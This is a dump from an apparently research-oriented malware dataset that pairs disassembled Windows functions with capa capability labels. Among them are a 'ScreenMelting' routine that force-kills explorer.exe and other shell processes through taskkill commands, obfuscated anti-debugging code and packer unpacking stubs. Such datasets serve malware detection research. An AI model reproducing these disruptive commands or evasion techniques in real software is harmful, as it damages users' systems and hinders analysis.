joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140038f70
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x140049010]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rdi, rdx
mov edx, dword [rcx + 0x10]
mov ecx, 0x18
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003902d
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x140039024
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x20], xmm0
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x20]
nop word [rax + rax]
lea rcx, [rsp + 0x60]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140038ff0
cmp rdi, rax
jne 0x140039012
mov r8, rdi
lea rdx, [rsp + 0x60]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140039054
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x140038fe0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140039080
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x48]
jmp 0x14003902f
Function at 0x14046f2b3
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.140444b69
jae 0x14046158e
mov eax, 0xad310622
mov si, word [r9]
shr al, 0xc3
ja 0x1404872ff
call fcn.140457dd5
mov ebx, 0x9a892b3b
jmp 0x1404736d4
lea rsp, [rsp + 0x10]
ja fcn.140448a04
mov ecx, 0x6f27d314
movzx ebp, cl
add cl, bpl
mov rdx, rsp
jns 0x140478173
mov ecx, 0x5434b2b9
mov ax, word [rbp + rcx - 0x5434b2b9]
lea rcx, [rcx*8 + 0x4cb65f81]
mov si, word [rbp + 2]
add rcx, rcx
mov cl, byte [rbp + 4]
jnp 0x14044b8ac
call fcn.14046bf5a
add rdi, 6
shld r9d, esi, cl
mov qword [rsp], 0xffffffffd0058104
mov dword [rdi], r9d
mov byte [rsp], 0x82
call fcn.140444452
lea rsp, [rsp + 0x18]
jmp fcn.14044b7b1
mov ebx, dword [rdi]
mov esi, 0xa227402c
sub sil, sil
adc rdi, 4
sub r11, 2
jmp 0x140449163
mov dword [rdi + 4], eax
mov dword [rdi], edx
lea rsp, [rsp + 8]
jmp fcn.140473250
lea ecx, [rbp + 0x12c]
movsx esi, bpl
jae 0x14047c111
sub r8, 1
mov ebx, 0x1e87b0a0
movsx r9d, bx
xor r9b, 0x28
movzx r9d, byte [r8 + rbx - 0x1e87b0a0]
xor r9b, r11b
add r9b, 0x26
add bx, bx
ror r9b, 1
dec r9b
sar bx, 0x4e
rol r9b, 1
add bl, bl
not r9b
bswap rbx
neg r9b
and ebx, ebx
jle 0x1404788ef
mov edx, 0x398be81b
sar dx, 0xaf
rdtsc
jb 0x14047f57b
ror r9b, 1
call fcn.140465bd6
lea rbp, [r9 + rbp*2 - 0xa8]
add esi, esi
sub rsi, rsi
and rbp, 0xfffffffffffffff0
sub esi, 0x7a16fc07
sar sil, 0x27
sub rbp, rcx
lea rsi, [rsi + rsi + 0x7c374e10]
mov rsp, rbp
push rsi
not esi
mov qword [rsp + rsi - 0x77f6a9f1], rdi
pushfq
sub si, si
mov rsi, rdx
mov rdi, rbp
push 0xffffffffeba7c817
cld
rol qword [rsp], 0x2f
rol dword [rsp + 1], 0x64
call fcn.14045f8cf
mov eax, 0xfe0c30b7
add ax, ax
rdtsc
call fcn.140466fb6
call fcn.1404623ee
sub rdi, 8
push 0x6737d69b
jmp 0x140474b6a
shl ax, 0xa2
adc r9, 2
not al
movzx eax, word [r8]
jmp fcn.1404629cd
Function at 0x140001210
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x110
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov rbx, rcx
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov dword [0x140005714], eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor edi, edi
mov qword [rsp + 0x78], rbx
mov dword [0x140005710], eax
mov edx, 0x7f00
lea rax, [0x140001030]
mov dword [rsp + 0x60], edi
xor ecx, ecx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x80], rdi
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x90], xmm0
lea rax, [0x1400033e0]
mov qword [rsp + 0xa0], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x140001405
mov eax, dword [0x140005710]
lea rdx, str.ScreenMelting
mov qword [rsp + 0x58], rdi
lea ecx, [rdi + 8]
mov qword [rsp + 0x50], rbx
mov r9d, 0x80000000
mov qword [rsp + 0x48], rdi
xor r8d, r8d
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], eax
mov eax, dword [0x140005714]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExA]
test rax, rax
je 0x140001405
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0xf0], xmm7
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
movsd xmm6, qword [0x140003498]
xorps xmm0, xmm0
movsd xmm7, qword [0x140003490]
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0xb0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x1400013e7
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
sub eax, ebx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
divsd xmm0, xmm6
comisd xmm0, xmm7
jb 0x1400013e7
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_ApplicationFrameHost.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_AggregatorHost.exe.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp dword [rsp + 0xb8], 0x12
jne 0x140001360
movaps xmm7, xmmword [rsp + 0xf0]
movaps xmm6, xmmword [rsp + 0x100]
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001520
mov rbx, qword [rsp + 0x128]
add rsp, 0x110
pop rdi
ret
Function at 0x140001e90
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001eda
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001eda
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001eda
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001eda
cmp dword [rcx + 0x84], 0xe
jbe 0x140001eda
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001edc
xor al, al
add rsp, 0x28
ret

Function at 0x140b2dbb0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140b2dbbd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140b2dbcd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140b2dbb5
lea eax, [rcx + 1]
jmp 0x140b2dbdb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140b2dbee
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140b2dbd4
sub eax, 3
jb 0x140b2dc0e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140b2dc5d
sar eax, 1
movsxd rbp, eax
jb 0x140b2dc44
jmp 0x140b2dc1c
add ebx, ebx
jne 0x140b2dc1a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140b2dc44
inc ecx
add ebx, ebx
jne 0x140b2dc2a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140b2dc44
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140b2dc3d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140b2dc2c
add ecx, 2
jmp 0x140b2dc49
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140b2db72
jmp 0x140b2dbbd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0xb24000]
mov eax, dword [rdi]
or eax, eax
je 0x140b2dcbd
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xb2d4ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140b2dc6d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140b2dcb7
mov qword [rbx], rax
add rbx, 8
jmp 0x140b2dc8d
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140b2dd01
cmp al, 0xef
ja 0x140b2dce9
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140b2dcc9
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x140b2dcd8
mov eax, dword [rdi]
add rdi, 4
jmp 0x140b2dcd8
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.140b2dd80], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.140b2dd80
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140b2dd70
sub rsp, 0xffffffffffffff80
jmp 0x1400013f0
Function at 0x76bfb0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x76bfbd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x76bfcd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x76bfb5
lea eax, [rcx + 1]
jmp 0x76bfdb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x76bfee
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x76bfd4
sub eax, 3
jb 0x76c00e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x76c05d
sar eax, 1
movsxd rbp, eax
jb 0x76c044
jmp 0x76c01c
add ebx, ebx
jne 0x76c01a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x76c044
inc ecx
add ebx, ebx
jne 0x76c02a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x76c044
call r11
adc ecx, ecx
add ebx, ebx
jne 0x76c03d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x76c02c
add ecx, 2
jmp 0x76c049
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.0076bf72
jmp 0x76bfbd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xa3000
mov dl, 0x1c
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x76c0a9
cmp rsi, rcx
jae 0x76c0b1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x76c090
cmp al, 0x8f
ja 0x76c090
cmp byte [rsi - 2], 0xf
je 0x76c096
sub al, 0xe8
cmp al, 1
ja 0x76c07a
cmp rsi, rcx
jae 0x76c0b1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x76c080
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x76c0b1
lodsb al, byte [rsi]
jmp 0x76c090
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x367000]
mov eax, dword [rdi]
or eax, eax
je 0x76c10e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x3959ac]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x76c0be
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x76c108
mov qword [rbx], rax
add rbx, 8
jmp 0x76c0de
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x76c152
cmp al, 0xef
ja 0x76c13a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x76c11a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x76c129
mov eax, dword [rdi]
add rdi, 4
jmp 0x76c129
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x76c1a6
sub rsp, 0xffffffffffffff80
jmp 0x45bc20
Function at 0x140001537
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000b008]
jne 0x14000118a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001186
repz ret
ror rcx, 0x10
jmp 0x140001490
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000c1a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000c298]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001515
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000c1a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001537
mov rax, qword [rsp + 0x88]
mov qword [0x14000c298], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000c238], rax
mov rax, qword [0x14000c298]
mov qword [0x14000c110], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000c220], rax
mov dword [0x14000c100], 0xc0000409
mov dword [0x14000c104], 1
mov rax, qword [0x14000b008]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000b010]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000c198], eax
mov ecx, 1
call fcn.140003550
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140008290]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000c198], 0
jne 0x1400015be
mov ecx, 1
call fcn.140003550
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001a80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
sub rsp, 0x30
lea r12, [0x14000b020]
xor esi, esi
mov edi, ecx
mov rax, r12
mov ebx, esi
nop
cmp ecx, dword [rax]
je 0x140001abe
add ebx, 1
add rax, 0x10
cmp ebx, 0x17
jb 0x140001aa0
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
cmp ebx, 0x17
jae 0x140001ca5
mov ecx, 3
call fcn.140004710
cmp eax, 1
je 0x140001c5c
mov ecx, 3
call fcn.140004710
test eax, eax
jne 0x140001af5
cmp dword [section..data], 1
je 0x140001c5c
cmp edi, 0xfc
je 0x140001ca5
mov qword [rsp + 0x50], rbp
lea rbp, [0x14000c6e0]
lea r8, str.Runtime_Error__n_nProgram:
mov rcx, rbp
mov edx, 0x314
call fcn.140004660
test eax, eax
je 0x140001b39
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.140003880
lea rdx, [0x14000c6f9]
mov r8d, 0x104
xor ecx, ecx
mov byte [0x14000c7fd], sil
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140001b89
lea r8, str._program_name_unknown_
lea rcx, [0x14000c6f9]
mov edx, 0x2fb
call fcn.140004660
test eax, eax
je 0x140001b89
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.140003880
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x14000c6f9]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 0x3c
jbe 0x140001bd8
lea rcx, [rcx + rbp - 0x23]
lea rdx, [0x14000c9f4]
lea r9d, [rax + 3]
lea r8, [0x140008874]
sub rdx, rcx
call fcn.140004540
test eax, eax
je 0x140001bd8
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.140003880
lea r8, [0x140008870]
mov edx, 0x314
mov rcx, rbp
call fcn.140004480
test eax, eax
je 0x140001c04
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.140003880
movsxd r8, ebx
mov edx, 0x314
mov rcx, rbp
add r8, r8
mov r8, qword [r12 + r8*8 + 8]
call fcn.140004480
test eax, eax
je 0x140001c34
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.140003880
lea rdx, str.Microsoft_Visual_C_Runtime_Library
mov r8d, 0x12010
mov rcx, rbp
call fcn.140004220
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x140001ca5
cmp rax, 0xffffffffffffffff
je 0x140001ca5
xor eax, eax
movsxd rcx, ebx
lea r9, [rsp + 0x58]
add rcx, rcx
mov qword [rsp + 0x20], rsi
mov rdx, qword [r12 + rcx*8 + 8]
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x140001cc0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
mov ecx, 3
call fcn.140004710
cmp eax, 1
je 0x140001cf2
mov ecx, 3
call fcn.140004710
test eax, eax
jne 0x140001da6
cmp dword [section..data], 1
jne 0x140001da6
mov qword [rsp + 0x48], rbx
lea rbx, [0x14000b020]
mov qword [rsp + 0x30], rdi
mov rax, rbx
xor edi, edi
cmp dword [rax], 0xfc
je 0x140001d1e
add edi, 1
add rax, 0x10
cmp edi, 0x17
jb 0x140001d08
jmp 0x140001d92
cmp edi, 0x17
jae 0x140001d92
mov ecx, 3
call fcn.140004710
cmp eax, 1
je 0x140001d49
mov ecx, 3
call fcn.140004710
test eax, eax
jne 0x140001d92
cmp dword [section..data], 1
jne 0x140001d92
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x140001d92
cmp rax, 0xffffffffffffffff
je 0x140001d92
movsxd rcx, edi
xor eax, eax
lea r9, [rsp + 0x40]
add rcx, rcx
mov qword [rsp + 0x20], rax
mov rdx, qword [rbx + rcx*8 + 8]
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, 0xff
call fcn.140001a80
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
add rsp, 0x38
ret
Function at 0x1400026c0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov eax, dword [0x14000cb08]
test eax, eax
jne 0x140002713
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x1400026f3
mov dword [0x14000cb08], 1
jmp 0x14000272e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x14000270d
mov dword [0x14000cb08], 2
jmp 0x140002809
mov eax, dword [0x14000cb08]
cmp eax, 1
jne 0x140002800
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x140002853
cmp word [rdi], 0
mov qword [rsp + 0x50], rbp
mov rbx, rdi
mov qword [rsp + 0x58], r12
je 0x140002755
add rbx, 2
cmp word [rbx], 0
jne 0x140002741
add rbx, 2
cmp word [rbx], 0
jne 0x140002741
xor r12d, r12d
sub rbx, rdi
mov r8, rdi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
sar rbx, 1
lea r9d, [rbx + 1]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
movsxd rbp, eax
je 0x1400027f3
mov rcx, rbp
call fcn.1400053e0
test rax, rax
mov rsi, rax
je 0x1400027f3
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea r9d, [rbx + 1]
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x1400027cd
mov rcx, rsi
call fcn.140005390
mov rsi, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbp, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1400027d9
cmp eax, 2
je 0x140002809
test eax, eax
jne 0x140002853
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
test rax, rax
mov rbx, rax
je 0x140002853
cmp byte [rax], 0
je 0x140002832
nop
add rax, 1
cmp byte [rax], 0
jne 0x140002820
add rax, 1
cmp byte [rax], 0
jne 0x140002820
sub eax, ebx
add eax, 1
movsxd rsi, eax
mov rcx, rsi
call fcn.1400053e0
test rax, rax
mov rdi, rax
jne 0x140002865
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140005580
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rax, rdi
add rsp, 0x40
pop rdi
ret
Function at 0x140003920
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x5b0
mov rbp, rcx
mov rcx, qword [0x14000cd50]
mov ebx, r9d
mov rdi, r8
mov rsi, rdx
call fcn.140002e10
test rax, rax
je 0x140003974
mov r10, qword [rsp + 0x5e0]
mov r9d, ebx
mov r8, rdi
mov rdx, rsi
mov rcx, rbp
mov qword [rsp + 0x20], r10
call rax
jmp 0x140003a09
mov ecx, 2
call fcn.140003550
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x98
call fcn.140005d60
mov rax, qword [rsp + 0x5b8]
mov dword [rsp + 0x40], 0xc000000d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x1400039f5
test ebx, ebx
jne 0x1400039f5
lea ecx, [rax + 2]
call fcn.140003550
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc000000d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret